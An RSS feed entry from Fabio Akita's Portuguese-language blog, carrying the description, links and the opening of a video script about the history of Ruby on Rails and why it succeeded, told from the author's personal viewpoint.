<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Ruby | AkitaOnRails.com</title><link>https://akitaonrails.github.io/tags/ruby/</link><description>Blog do Fabio Akita do Canal do YouTube 'Akitando' falando sobre tecnologia, carreira e coisas geek.</description><generator>Hugo -- gohugo.io</generator><language>pt-BR</language><lastBuildDate>Mon, 19 Oct 2026 23:20:49 +0000</lastBuildDate><atom:link href="https://akitaonrails.github.io/tags/ruby/index.xml" rel="self" type="application/rss+xml"/><item><title>[Akitando] #59 - A História de Ruby on Rails | Por que deu certo?</title><link>https://akitaonrails.github.io/2019/08/21/akitando-59-a-historia-de-ruby-on-rails-por-que-deu-certo/</link><guid isPermaLink="true">https://akitaonrails.github.io/2019/08/21/akitando-59-a-historia-de-ruby-on-rails-por-que-deu-certo/</guid><pubDate>Wed, 21 Aug 2019 17:00:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/oEorhw5r2Do"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;15 anos atrás Ruby on Rails é lançado, e todo mundo tinha certeza que logo desapareceria.&lt;/p&gt;
&lt;p&gt;Ruby on Rails 6.0 acabou de ser lançado.&lt;/p&gt;
&lt;p&gt;Why, The Lucky Stiff sumiu faz 10 anos.&lt;/p&gt;
&lt;p&gt;Estou iniciando o 2o ano do meu canal e acho que agora é uma boa hora para contar essa história.&lt;/p&gt;
&lt;p&gt;Esta é a história que eu queria ter contado logo que comecei o canal, 1 ano atrás. Mas eu precisava explicar muitas outras histórias antes para dar contexto. Minha própria carreira inicial. A história da computação e da Web nos anos 90 a 2000. Conceitos como Agilidade e Startups.&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/oEorhw5r2Do"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>15 anos atrás Ruby on Rails é lançado, e todo mundo tinha certeza que logo desapareceria.</p>
<p>Ruby on Rails 6.0 acabou de ser lançado.</p>
<p>Why, The Lucky Stiff sumiu faz 10 anos.</p>
<p>Estou iniciando o 2o ano do meu canal e acho que agora é uma boa hora para contar essa história.</p>
<p>Esta é a história que eu queria ter contado logo que comecei o canal, 1 ano atrás. Mas eu precisava explicar muitas outras histórias antes para dar contexto. Minha própria carreira inicial. A história da computação e da Web nos anos 90 a 2000. Conceitos como Agilidade e Startups.</p>
<p>Agora que contei boa parte do que queria, se vocês assistiram os vídeos do último ano, devem estar equipados pra entender esta parte da história. Neste episódio vou compilar 8 anos de história, de onde veio Ruby on Rails, e porque ele estava destinado a dar certo mesmo que todos os &ldquo;experts&rdquo; achassem que não daria.</p>
<p>Se quiser aprender mais, entre no grupo de Rails do Facebook: <a href="https://www.facebook.com/groups/rubyonrailsbrasil/"target="_blank" rel="noopener">https://www.facebook.com/groups/rubyonrailsbrasil/</a></p>
<p>É o maior e melhor grupo que eu conheço e eles estão sempre compartilhando dicas, materiais e cursos, fora ofertas de emprego.</p>
<p>Disclaimer:</p>
<p>Esta história é contada sob meu ponto de vista pessoal tendo participado ativamente de muitos eventos. Posso ter esquecido alguns momentos e nomes importantes, então mande nos comentários se eu perdi alguma coisa.</p>
<p>Logo de cara, só depois que terminei de subir o video notei que esqueci de mencionar o pessoal do Rio Grande do Sul, do antigo Mailee e que fez o Catarse, o Kickstarter brasileiro!! Perdoem-me por ter esquecido.</p>
<p>Links:</p>
<ul>
<li>
<p>15 Minute Blog Demo 2005 (<a href="https://www.youtube.com/watch?v=Gzj723LkRJY"target="_blank" rel="noopener">https://www.youtube.com/watch?v=Gzj723LkRJY</a>)</p>
</li>
<li>
<p>Ten Years Of Test Driven Development (<a href="http://wiki.c2.com/?TenYearsOfTestDrivenDevelopment"target="_blank" rel="noopener">http://wiki.c2.com/?TenYearsOfTestDrivenDevelopment</a>)</p>
</li>
<li>
<p>The history of testing framework in Ruby (<a href="http://rubykaigi.org/2015/presentations/kou/"target="_blank" rel="noopener">http://rubykaigi.org/2015/presentations/kou/</a>)</p>
</li>
<li>
<p>Why’s Poignant Guide to Ruby (<a href="https://poignant.guide"target="_blank" rel="noopener">https://poignant.guide</a>)</p>
</li>
<li>
<p>Why The Lucky Stiff Documentary (<a href="https://www.youtube.com/watch?v=64anPPVUw5U"target="_blank" rel="noopener">https://www.youtube.com/watch?v=64anPPVUw5U</a>)</p>
</li>
<li>
<p>Ruby Koans (<a href="http://rubykoans.com"target="_blank" rel="noopener">http://rubykoans.com</a>)</p>
</li>
<li>
<p>Ruby Quiz (<a href="http://rubyquiz.com"target="_blank" rel="noopener">http://rubyquiz.com</a>)</p>
</li>
<li>
<p>RailsCasts (<a href="http://railscasts.com"target="_blank" rel="noopener">http://railscasts.com</a>)</p>
</li>
<li>
<p>RubyTapas (<a href="https://www.rubytapas.com/"target="_blank" rel="noopener">www.rubytapas.com/</a>)</p>
</li>
<li>
<p>CodeSchool: Rails for Zombies (<a href="https://www.pluralsight.com/courses/code-school-rails-for-zombies"target="_blank" rel="noopener">https://www.pluralsight.com/courses/code-school-rails-for-zombies</a>)</p>
</li>
<li>
<p>Blog Igvita (<a href="https://www.igvita.com"target="_blank" rel="noopener">https://www.igvita.com</a>)</p>
</li>
<li>
<p>Rails and Merb Merge (<a href="https://yehudakatz.com/2008/12/23/rails-and-merb-merge/"target="_blank" rel="noopener">https://yehudakatz.com/2008/12/23/rails-and-merb-merge/</a>)</p>
</li>
<li>
<p>RailsEnvy videos (<a href="https://www.youtube.com/watch?v=YZeZsZEEpno&amp;list=PLfBoZfyUGYQZ--h9B4e_tmyob8tbqOTKd"target="_blank" rel="noopener">https://www.youtube.com/watch?v=YZeZsZEEpno&list=PLfBoZfyUGYQZ--h9B4e_tmyob8tbqOTKd</a>)</p>
</li>
<li>
<p>The Decision to Leave Code School (<a href="https://www.greggpollack.com/the-decision-to-leave-code-school/"target="_blank" rel="noopener">https://www.greggpollack.com/the-decision-to-leave-code-school/</a>)</p>
</li>
<li>
<p>Travis CI joins the Idera family (<a href="https://blog.travis-ci.com/2019-01-23-travis-ci-joins-idera-inc"target="_blank" rel="noopener">https://blog.travis-ci.com/2019-01-23-travis-ci-joins-idera-inc</a>)</p>
</li>
<li>
<p>Reia (<a href="https://github.com/tarcieri/reia"target="_blank" rel="noopener">https://github.com/tarcieri/reia</a>)</p>
</li>
<li>
<p>11 types of apps you can build with Ruby on Rails (<a href="https://naturaily.com/blog/ruby-on-rails-apps"target="_blank" rel="noopener">https://naturaily.com/blog/ruby-on-rails-apps</a>)</p>
</li>
<li>
<p>Who gives a F*** about Rails in 2019? (<a href="https://naturaily.com/blog/who-gives-f-about-rails?utm_source=linkedin&amp;utm_medium=post"target="_blank" rel="noopener">https://naturaily.com/blog/who-gives-f-about-rails?utm_source=linkedin&utm_medium=post</a>)</p>
</li>
<li>
<p>Why should you choose Ruby on Rails for your MVP? (<a href="https://prograils.com/posts/why-should-you-choose-ruby-on-rails-for-your-mvp?utm_source=rubydaily&amp;utm_medium=referral&amp;utm_campaign=rails-mvp-1"target="_blank" rel="noopener">https://prograils.com/posts/why-should-you-choose-ruby-on-rails-for-your-mvp?utm_source=rubydaily&utm_medium=referral&utm_campaign=rails-mvp-1</a>)</p>
</li>
<li>
<p>AkitaOnRails: Retrospectiva on Rails - 10 Anos e Muito Mais! (<a href="http://www.akitaonrails.com/2014/08/26/retrospectiva-on-rails-10-anos-e-muito-mais"target="_blank" rel="noopener">http://www.akitaonrails.com/2014/08/26/retrospectiva-on-rails-10-anos-e-muito-mais</a>)</p>
</li>
<li>
<p>AkitaOnRails: Entrevistas (<a href="https://www.akitaonrails.com/interview"target="_blank" rel="noopener">https://www.akitaonrails.com/interview</a>)</p>
</li>
<li>
<p>AkitaOnRails: _Why, Ruby Dramas, and Dynamiting Courtlandt (<a href="http://www.akitaonrails.com/2016/09/26/os-proximos-10-anos"target="_blank" rel="noopener">http://www.akitaonrails.com/2016/09/26/os-proximos-10-anos</a>)</p>
</li>
<li>
<p>AkitaOnRails: The Next 10 Years (<a href="http://www.akitaonrails.com/2016/09/26/os-proximos-10-anos"target="_blank" rel="noopener">http://www.akitaonrails.com/2016/09/26/os-proximos-10-anos</a>)</p>
</li>
</ul>
<p>R.I.P.:</p>
<ul>
<li>Remembering Jason Seifer (<a href="https://www.greggpollack.com/remembering-jason-seifer/"target="_blank" rel="noopener">https://www.greggpollack.com/remembering-jason-seifer/</a>)</li>
<li>EZRA ZYGMUNTOWICZ: IN MEMORIAM (<a href="https://www.engineyard.com/blog/ezra-zygmuntowicz-in-memorium"target="_blank" rel="noopener">https://www.engineyard.com/blog/ezra-zygmuntowicz-in-memorium</a>)</li>
<li>REMEMBERING JIM WEIRICH (<a href="https://lithespeed.com/remembering-jim-weirich/"target="_blank" rel="noopener">https://lithespeed.com/remembering-jim-weirich/</a>)</li>
<li>Remembering James Golick (<a href="https://medium.com/@benkaufman/remembering-james-golick-23c1dc3ab920"target="_blank" rel="noopener">https://medium.com/@benkaufman/remembering-james-golick-23c1dc3ab920</a>)</li>
<li>GIVING OPEN-SOURCE PROJECTS LIFE AFTER A DEVELOPER&rsquo;S DEATH (<a href="https://www.wired.com/story/giving-open-source-projects-life-after-a-developers-death/"target="_blank" rel="noopener">https://www.wired.com/story/giving-open-source-projects-life-after-a-developers-death/</a>)</li>
</ul>
<p>=== Script</p>
<p>Olá pessoal, Fabio Akita</p>
<p>Finalmente! Finalmente, decidi fazer um episódio sobre Ruby on Rails. Muita gente que me conhece nas interwebs como AkitaOnRails começou a me acompanhar quando eu comecei a evangelizar Rails mais de 12 anos atrás. Quando comecei o canal talvez muitos pensariam que a coisa mais óbvia é que eu ia continuar falando de Rails, mas até hoje ainda não fiz nenhum video a respeito. Esse é o episódio que eu queria ter feito 1 ano atrás mas que precisei publicar 58 vídeos antes pra dar o contexto. Exagerando um pouco eu diria que todos os videos que eu fiz até agora foram um prólogo pra esse. Também é apropriado que estou oficialmente iniciando o 2o ano do canal exatamente com esse tema. Quem acompanha o canal já me viu mencionando alguns eventos históricos de Ruby on Rails como nesse episódio da série Começando aos 40 (episodio 1 de backend)</p>
<p>Se alguém me perguntar hoje: é essencial usar Rails? Honestamente não, embora eu diria que você se daria melhor usando Rails, sem dúvida. Em 2019 temos muitas outras opções se, e somente se, você souber o que está fazendo. Eu ainda considero Rails o melhor framework de ponta a ponta e o melhor ecossistema pra maioria dos casos, o pacote completo. Os princípios e fundamentos que tornaram Rails especial em 2004 continuam valendo hoje. Mesmo que você não use Ruby, você provavelmente está &ldquo;On Rails&rdquo; e não sabe disso. A história do Rails é um caso único e eu não vejo ele se repetindo de novo tão cedo.</p>
<p>A idéia do video de hoje não é ser a história totalmente completa, mas sim a história pelo meu ponto de vista enquanto personagem nessa história, então vai ter alguns eventos talvez importantes que eu talvez pule. Enquanto escrevia eu via as páginas aumentando, 10 páginas, 20 páginas, 30 … e resolvi que não vou cortar em múltiplos video, pra variar. Vai tudo numa tacada só (&hellip; respira …), então vão pegar a pipoca, a água, vão no banheiro antes, e senta aí que lá vem história.</p>
<p>(&hellip;)</p>
<p>Como é o jeito &ldquo;certo&rdquo; de desenvolver um software médio web hoje em dia? Simples, começa criando um novo projeto no GitHub ou GitLab.
Daí roda o generator do seu framework pra criar o esqueleto. Faz o primeiro commit e dá push pro repositório e agora abre acesso pros seus colegas de trabalho.
Vamos organizar o trabalho da equipe num backlog e cada um vai fazendo uma pequena feature. Cada feature você abre um novo Pull Request ou Merge Request, dependendo se for GitHub ou GitLab.</p>
<p>Agora vamos criar os specs e fazer o código pra passar. Ou se você não é adepto de test-first development ou TDD como Eu também não sou sempre, pode ser o bom e velho test-after, importante é subir seu código com um mínimo de testes. Alguém insistiu em tentar subir código sem testes? git reset &ndash;hard nele!
Junta os commits dos testes, do seu código, manda pro branch do pull request. Finalizou? Pede pros colegas darem aquela revisada marota.
Agora que tem algum código já seria bom automatizar a execução dos testes, então vamos configurar um Travis-CI ou Circle-CI ou o CI integrado do próprio GitLab.</p>
<p>Agora a gente vai subindo novos códigos, vendo os testes de todo mundo da equipe rodando e passando. E depois de alguns pull requests mergeados, temos uma primeira versão que já dá pra pro usuário brincar. Hora de subir num ambiente de staging pra mandar pros usuários testarem. Então bora criar um projeto no Heroku, definir os recursos extras como banco de dados que vamos precisar e git push heroku.</p>
<p>Sucesso! Aplicativo funcionando! E pra facilitar a vida, vamos criar um continuous deployment ligado ao CI pra toda vez que subir código novo e os testes passarem, ele já subir a versão nova pro ar. Ou então pra cada pull request ainda não aprovado subir um ambiente de testes no Heroku em paralelo também. Assim a vida dos testers e QA vai ficar mais fácil.</p>
<p>Além disso podemos conectar serviços como CodeClimate pra constantemente avaliar a saúde do nosso código, ver se não estamos acumulando muito débito técnico. Avaliar se não estamos deixando de atualizar bibliotecas com bugs de segurança.
Se quisermos adicionar recursos mais avançados como WebSockets, pra criar um chat ou fazer push notifications, devemos usar serviços como o bom e velho Pusher. Pra maioria de nós não é necessário usar Node.js ou Go ou algo assim. E podemos habilitar o New Relic RPM no Heroku pra monitorar o uso da nossa aplicação e avaliar possíveis gargalos que precisamos ir otimizando. Ah, é bom viver nessa era de Software as a Service.</p>
<p>Tudo isso que eu acabei de explicar em 2 minutos é o dia a dia de qualquer projeto web comum, ou pelo menos deveria ser caso você ainda esteja numa empresa que não segue esse tipo de fluxo de trabalho. Eu diria que mesmo quem não segue, sente uma certa inveja e gostaria de estar trabalhando assim. Porém lembre-se do que eu venho falando em todos os meus vídeos: essa é uma realidade hoje pra muitos, em 2019. Isso não era verdade em 2004. E esta é a história de como a comunidade Ruby on Rails criou essa realidade.</p>
<p>Eu já contei parte disso no episódio do Diário de Henry Jones, mas em 2004 eu ainda era um consultor Java e SAP, lidando com o peso e burocracia de projetos enterprise desenhados em centenas de páginas de casos de uso e diagramas UML, usando coisas como IBM WebSphere ou BEA WebLogic. Mundo open source não era algo que programadores enterprise discutiam muito, porque não parecia muito &ldquo;profissional&rdquo;, era coisa de &ldquo;agência de php pra sitezinho de sobrinho&rdquo;. Profissionais usavam JSP, com algum framework proprietário da IBM ou da Oracle.</p>
<p>Pensem em um ambiente onde gerenciar banco de dados era um troço difícil, nenhum programador gostava de fazer ou mesmo podia fazer se quisesse. Pra isso existiam DBAs. Subir aplicativo web em produção era um saco, ninguém queria fazer, por isso existia gente de infra só pra subir versão nova em produção. Gerenciar versionamento de software era um saco! Ninguém queria fazer! Eu juro que existia emprego pra uma posição chamada &ldquo;Gerente de Configuração&rdquo; pra ferramentas da Rational tipo Clearcase, que é literalmente alguém cujo job description era fazer commit do código! (mindblown!)</p>
<p>O que havia de mais avançado no mundo open source naquela época era poder desenvolver apps em Apache Struts ou o novíssimo Spring na era do Java 1.4 pra 1.5, subir num tomcat ou glassfish local pra testar e num JBoss pra subir em produção. Usar Subversion era um troço meio subversivo ainda. Povo preferia usar Clearcase ou Microsoft SourceSafe. E mesmo usar Subversion era sofrido, tenta fazer merge de branches pra subir no trunk. E desenvolver fora da rede offline não dava porque Subversion precisava estar online já que commit é o equivalente a commit mais push num Git de hoje. Windows XP ainda era mais do que normal, com um tanto de antivirus tipo McAfee (video) pesando e mesmo assim com aquela sensação que ligar o XP na internet era que nem fazer sexo sem proteção. Acho que eu formatava e reinstalava meu sistema com certa frequência só pra garantir. Eram tempos difíceis &hellip;</p>
<p>Então em 2005 a gente  esbarra num video com o chamativo título de &ldquo;Blog em 15 minutos&rdquo; de um moleque desconhecido com cara de cagador de regra … não, não, não era eu, era esse dinamarquês chamado David Heinemeir Hansson que a gente se acostumou a chamar só de DHH. Pff &hellip; em 15 minutos meu Eclipse com os plugins de Websphere nem carregou tudo ainda. Esse video aliás, tem quase 15 anos, e eu acho que vale a pena incorporar ele aqui. Lembrem-se, eu sei que 15 anos atrás muitos de vocês assistindo tinham uns 10, talvez 15 anos de idade, mas tente assistir assumindo que Nada que vocês usam hoje existia naquela época.</p>
<p>(&hellip; blog 15 minutos)</p>
<p>A gente chamava esse video também de &ldquo;video do oops&rdquo;. O David foi convidado pra vir pro FISL de 2005, o Forum Internacional de Software Livre que acontece em Porto Alegre, todo ano. Um dos organizadores naquele ano foi meu camarada Rodrigo Kochenburger que hoje mora em São Francisco e é um dos melhores programadores que eu já conheci. Antes de mim, pessoas como ele já estavam engajados nessa comunidade de nicho que era Ruby. Agora, entenda que literalmente ninguém usava Ruby fora do Japão e mesmo lá era só um pequeno grupo. Quando o DHH veio apresentar o Rails no FISL a platéia eram basicamente pythonistas e outros que tavam nos corredores. Se tinha meia dúzia de rubistas, no FISL inteiro, era muito.</p>
<p>Pra dar uma noção, tirando pessoas como o Rodrigo não tinha quase nenhum rubista na ativa em 2005. Tinha o Caffo que é outro Rodrigo, o Rodrigo Franco que tinha começado a primeira mailing list brasileira de Rails, a Rails-BR. Tinha o Adriano Dadario e o Ronie Uliana que mantinham o antigo site/forum RubyBR. Tinha o mestre Eustáquio Rangel que publicou o primeiro livro de Ruby no Brasil, e o Ronaldo Ferraz que publicou o primeiro tutorial de Rails em português. Ainda ia levar algum tempo pra aparecer outros blogs que viraram referência aqui no Brasil como o Simples Ideias do Nando Vieira. Aliás, eu provavelmente vou esquecer muitos nomes do começo da história, me perdoem e quem se lembrar da galera das antigas pode mandar nos comentários abaixo.</p>
<p>Naquela época o Vinicius Teles do Rio de Janeiro já tinha publicado seu livro sobre Extreme Programming e estava começando a aplicar em projetos Rails. E outros nomes começaram a surgir como o Manoel Lemos, que hoje virou venture capitalist na Redpoint mas na época desenvolveu o BlogBlogs em 2006, antes de entrar pra Editora Abril. A ótima equipe que de alguma forma o Marco Gomes conseguiu juntar foi quem construiu o famoso Boo-Box em 2007. Na época existia os e-mail do UOL e tinha um produto paralelo que era o BOL ou Brasil Online, que foi feito em Rails lá por 2006 ou 2007 também.</p>
<p>Como falei em outros episódios eu acredito em ciclos de mercado. É muito difícil identificar o começo de um ciclo, normalmente você se dá conta que tá dentro de um quando já passou da fase de early adopters. Mas em 2005 eu sabia que Ruby on Rails, principalmente no Brasil, estava ainda começando o dia 1 desse ciclo. É muito raro conseguir enxergar o dia 1 de alguma coisa que vai conseguir completar o ciclo de 10 anos e embarcar nele no começo. Em 2005 eu tinha já uns 10 anos de carreira, e eu lembro que senti esse frio na espinha quando relembrei de 1995, ano que tivemos alguns dos lançamentos mais históricos até então, o Java 1.0, o Delphi 1.0, o Netscape 1.0 com Javascript 1.0, o Windows 95 inaugurando a era 32-bits. E ali estava eu, 10 anos depois, sentindo que um novo ciclo de 10 anos estava iniciando no mundo de programação. Eu não podia imaginar o que viria pela frente, só agora em retrospectiva dá pra ligar os pontos.</p>
<p>Eu achei o David Hansson, o DHH, um cara muito inteligente, diferente da maioria puramente técnica. Ele criou um produto que ninguém tinha feito igual até então. E não estou dizendo só em criatividade técnica. Estou falando em produto como um todo mesmo. Aliás, ninguém se referia a sites como “produtos” nessa época. Algumas coisas eram geniais só de bater o olho e algumas coisas a gente sabia que seria genial mas faltava ainda tempo pra se provar.</p>
<p>Vamos começar do básico. Naquela época dentre algumas das linguagens mais usadas estava Basic, tanto do Visual Basic, quanto VBScript de ASP e plugins de Office, e no novo .NET, daí C#, Java, PHP, ColdFusion, lembram de ColdFusion?? Lembrando que estamos falando de C# acho que 2, Java 1.5, PHP 3 ou 4. Javascript ainda era não mais que um brinquedo pra soltar box de alert nas páginas. ActionScript que era baseado em Javascript só existia no mundo Flash. Nenhuma das novas linguagens que você conhece hoje tinham sido inventados ainda como Scala, Elixir, Go, Rust, Clojure, Swift, Kotlin. Objective-C ou Erlang já existiam mas ninguém nunca tinha ouvido falar neles no mercado em geral.</p>
<p>Falando em Objective-C a gente tava entrando no final do ciclo de hype de orientação a objetos. Nos anos 70 principalmente a discussão sobre o que era a melhor forma de descrever e programar objetos foi tema de inúmeras discussões, livros, eventos e eu argumentaria que a melhor linguagem orientada a objetos de todos os tempos foi Smalltalk. Porém as empresas que mantinham as versões comerciais de Smalltalk como ParcPlace-Digitalk, ObjectShare, acho que tiveram ingerências ou azar mesmo, e começaram a desaparecer nos anos 80. E o aparecimento de coisas como Visual Basic e depois Java meio que foi o tiro de misericórdia. Smalltalk desapareceu quase totalmente nos anos 90, ninguém mais ouvia falar. Hoje se você procurar ainda acha a Cincom ou a Gemstone e versões open source como o Squeak e Pharo. Só alguns nichos ainda carregavam a herança de Smalltalk em linguagens como Objective-C que a NEXT de Steve Jobs estava usando e essa linguagem obscura do Japão chamada Ruby, que é uma das únicas que se assemelha ao estilo do Smalltalk e Objective-C, mesmo hoje.</p>
<p>Escolher Ruby foi um acerto improvável. Muitos poderiam criticar o fato do DHH não ter escolhido algo como Python que também é uma linguagem interpretada, orientada a objetos e com tipagem dinâmica, mas teria sido a escolha errada. Eu nem sei se o DHH chegou a pensar tão longe assim, eu acho que foi mais sorte mesmo, mas ainda bem que ele escolheu Ruby no lugar. Apesar da linguagem em si ter características excepcionais de ser super flexível, expressiva e agradável de trabalhar comparado com Java, ele tinha Uma coisa que ninguém mais tinha: … ninguém usava, não tinha um ecossistema estabelecido. É como você encontrar ouro e acumular, anos antes do mundo determinar que ele tinha valor.</p>
<p>O DHH começou como um freelancer, trabalhando da Dinamarca que é o país dele, pra agência chamada 37signals, de Chicago, que foi fundado por Jason Fried. Ele já tinha trabalhado um pouco com Java, um pouco com PHP, e assim como todos nós naquela época, já estava de saco cheio da burocracia do Java ou dos bugs e cultura de &ldquo;quick and dirty&rdquo; do PHP e Perl do fim dos anos 90. Então por 2003 ou 2004 a agência começou a migrar pra virar uma empresa de produtos, e o DHH resolveu dar uma chance pra esse tal de Ruby. Assim ele desenvolveu o lendário Basecamp que é uma ferramenta colaborativa pra organizar pequenos projetos, e em 2004 ele extraiu o framework Ruby on Rails. Aliás, primeira dica, nunca acredite num framework que não foi extraído de um aplicativo de verdade.</p>
<p>(musica de suspense)
Agora aqui entra a minha análise pessoal. O fato do DHH ter se aliado a Jason Fried e o DNA da 37signals ser de design, especialmente numa época onde o design da Apple estava começando a despontar, foi extremamente importante. Muito da linguagem minimalista do design da escola alemã de Bauhaus se misturou ao estilo de código, produto e filosofia do DHH. Naquela época o normal pra um arquiteto enterprise era criar frameworks o mais flexível possível, tudo explícito, tudo configurável, com o maior número de abstrações e indireções pra suportar projetos corporativos de qualquer tamanho e qualquer escala, e de preferência via comitê, com consenso de gente que nem de fato vai usar. Era a filosofia de “e se amanhã eu precisar?”. O DHH preferiu fazer o caminho inverso, que na época era muito inédito: criar um produto de verdade primeiro, que realmente funciona com usuários de verdade, e depois extrair as peças da fundação pra montar um framework. Ironicamente era assim que antes empresas como IBM e Oracle extraíam seus produtos: depois de implementar primeiro num grande cliente, como o governo ou os militares.</p>
<p>(comercial java)</p>
<p>Pouca gente fazia isso nos anos 2000. Arquitetos corporativos eram esnobes demais pra ir pra ralé e, deus me livre, fazer alguma coisa que funciona de verdade. (excerpt) No mundo PHP o pessoal fazia produtos inteiros, vide Joomla, vide Drupal, vide Wordpress. Mas eles raramente extraíam as partes comuns pra reusar em outro projeto, e a comunidade ficava fragmentada em ilhas. O estilo de código quick and dirty macarrônico, muita otimização prematura, porque o PHP não era exatamente a coisa mais performática do mundo também, e diferente de Ruby o PHP de fato tomou muita porrada de verdade. Em vez de &ldquo;perder tempo&rdquo; fazendo frameworks, eles ficavam cada um na sua ilha de produto e não se preocupavam muito em reuso. O máximo eram as tentativas de imitar o mundo Java, e imitar justamente a parte ruim: fazendo frameworks gigantes demais como o Zend e criando monstrinhos como o primeiro Magento.</p>
<p>“Vamos ficar masturbando diagramas abstratos como se fosse arte barroca o dia inteiro”.</p>
<p>(comercial php)</p>
<p>Comparativamente o framework Ruby on Rails era muito pequeno. Quando eu escrevi o primeiro livro de Rails eu também não sabia tudo de Rails ainda, então eu escrevi meu livro, capítulo a capítulo lendo o código fonte de cada parte. O código naquela época era pequeno o suficiente pra dar pra ler de ponta a ponta. Mais importante: o código que eu como desenvolvedor de uma app usando Rails precisava escrever era surpreendentemente pouco. Vindo de J2EE a gente tinha que fazer um trilhão de boilerplates; exatamente porque o framework exigia tudo explícito.</p>
<p>Por exemplo, quero fazer um Entity Bean em 2000. Precisava fazer um arquivo que é a interface, outro que é a implementação em si, outro que é um stub pra acesso remoto e por aí vai. Cada coisa que você fazia num J2EE precisava de uns 3 ou 4 arquivos de boilerplate pra ligar as coisas no framework. Não seria exagero dizer que se o projeto tinha 100 arquivos, só uns 20 era código de verdade com regra de negócio e tudo. Por isso a gente precisava usar Eclipse com plugins: pra ele gerar e atualizar essas classes extras pra gente. Era que nem os JavaBean antigos, se eu precisasse programar 10 propriedades, precisava implementar 20 métodos: 10 getters e 10 setters e, de novo, o Eclipse gerava isso automaticamente pra gente. Sério, era um saco programar com as primeiras versões de J2EE. (abaixa a cabeça)</p>
<p>Mas aí eu vi que no Rails não precisava fazer nada disso. Tinha quase zero boilerplates, era uma heresia! Ele apresentou esse conceito de Convention over Configuration e DRY ou Don&rsquo;t Repeat Yourself, que é um pensamento meio óbvio hoje  - ou pelo menos deveria ser - mas não era em 2004. Toda entidade vai ter os mesmos 3 ou 4 arquivos de boilerplate que não serve pra nada, então pra que gerar? Faça o framework inferir o que precisa gerar em tempo de execução e não gere nenhum arquivo que não seja absolutamente necessário. E, mais do que isso, o pouco que eu preciso gerar, não precisa de um plugin numa IDE: roda um script na linha de comando e boom, gera tudo pra mim! Isso era revolucionário! Daí é facil ver como um projeto que deveria ter 100 arquivos, em Rails tinha só uns 20 ou menos.</p>
<p>Justiça seja feita, o J2EE foi quem introduziu o modelo de MVC ou Model View Controller ou mais corretamente o Model 2 da Sun para o mundo em geral. Só que era tão complicado de entender que fazia sentido você precisar de certificação de arquiteto Java só pra conseguir entender esse tal de MVC. O Rails foi quem tornou MVC e conceitos como thin-controllers algo finalmente acessível pro público em geral.</p>
<p>O gerador do Rails sempre gera o esqueleto do projeto. Você sempre sabe que controllers vai nessa pasta, models vão nessa pasta, e views vão nessa outra pasta. Sem XMLs complicados pra configurar e duas dúzias de boilerplates que você nunca sabe onde colocar. Daí todo projeto Rails tem mais ou menos a mesma estrutura e era fácil pular de projeto e saber onde ficam as coisas. E a idéia se pagou porque 15 anos depois, a estrutura do Rails 5 de hoje é muito parecida com a do Rails 1. Mais do que Convention over Configuration, desde o começo Rails era o que gente chamava de opinionated, ou seja, seguia as opiniões do DHH. Isso é controverso até hoje, mas ele bateu o pé e insistiu em integridade conceitual.</p>
<p>Isso Não é uma democracia e Rails era um framework sem consenso e sem comitê. Já não era sem tempo, consenso em mundo técnico é só o mínimo denominador comum dos membros. Em vez de tentar abraçar o mundo e criar um framework que poderia ser pra qualquer coisa ele focou pra ser bom pra fazer apps similares ao Basecamp. Tem gente que odeia isso, mas haters gonna hate. Você pode trocar alguns componentes com alguma facilidade, mas quanto mais diferente você tentar ficar do Rails original, mais complicado vai ficar pra manter o projeto no futuro.</p>
<p>E aqui vemos a influência da Apple. Macbooks bem que poderiam ter mais portas de expansão, ser mais fácil de trocar peças e assim por diante. Mas aí ele seria igual um Dell ou Lenovo. O que torna o Macbook um Macbook é a forma. Sempre vai existir a discussão de forma contra função mas qualquer coisa diferente só pra conseguir consenso com algum nicho destrói sua integridade conceitual. Minimalismo parte do princípio que quem faz o design tem uma opinião muito forte sobre o que é esse mínimo. DHH não é nenhum Jobs, mas ambos certamente tinham muita opinião e não seriam dobrados com facilidade, e ambos foram provados corretos ao longo da década. Não é difícil de argumentar que se hoje Macs são dominantes no mundo de tech startups, foi por causa de Ruby on Rails. Sim, a culpa é nossa. Vejam este vídeo de 2007 que foi feito em parceria com a Apple Education:</p>
<p>(apple video)</p>
<p>Um dos aspectos que vinham ligados por padrão era segurança. Numa época onde era super comum sites sendo lançados em produção com erros primários como cross site request forgery, cross site scripting, sql injection, session hijacking, tudo isso já era travado por padrão no Rails. De novo um efeito de Convention over Configuration, ou seja, porque ter que ligar coisas manualmente que já deveriam estar ligadas por padrão? Você precisava manualmente desligar as proteções se quisesse, e aí fica por sua conta. Por isso apps Rails por muitos anos sempre estiveram entre alguns dos mais seguros por padrão. Todo framework que te vende “flexibilidade” porque você mesmo pode escolher quais componentes por adicionar, sempre vai ser pior porque a grande maioria vai sempre escolher errado.</p>
<p>E se isso não fosse suficiente, nesse esqueleto que ele gera igual pra todo projeto ainda havia outra coisa Completamente diferente: um diretório chamado test. E todo gerador de models, ou controllers ou views também gerava arquivos correspondentes de testes vazios nesse diretório. Lembrem-se era 2004, o manifesto ágil de software tinha saído só 3 anos antes. Vamos lembrar uma coisa, Gerry Weinberg fez testes pela primeira vez em cartões perfurados em 1989. Kent Beck, um dos criadores de Extreme Programming começa a experimentar essa ideia e cria SUnit em 1994 inaugurando a idéia da gramática de testes como test cases, asserts,  e vai fazendo pesquisa e escrevendo a respeito até finalmente consolidar a idéia de test driven development e lançar o JUnit no ano 2000. Ou seja, a idéia de TDD não tinha ainda 4 anos desde que o mercado começou a ouvir falar.</p>
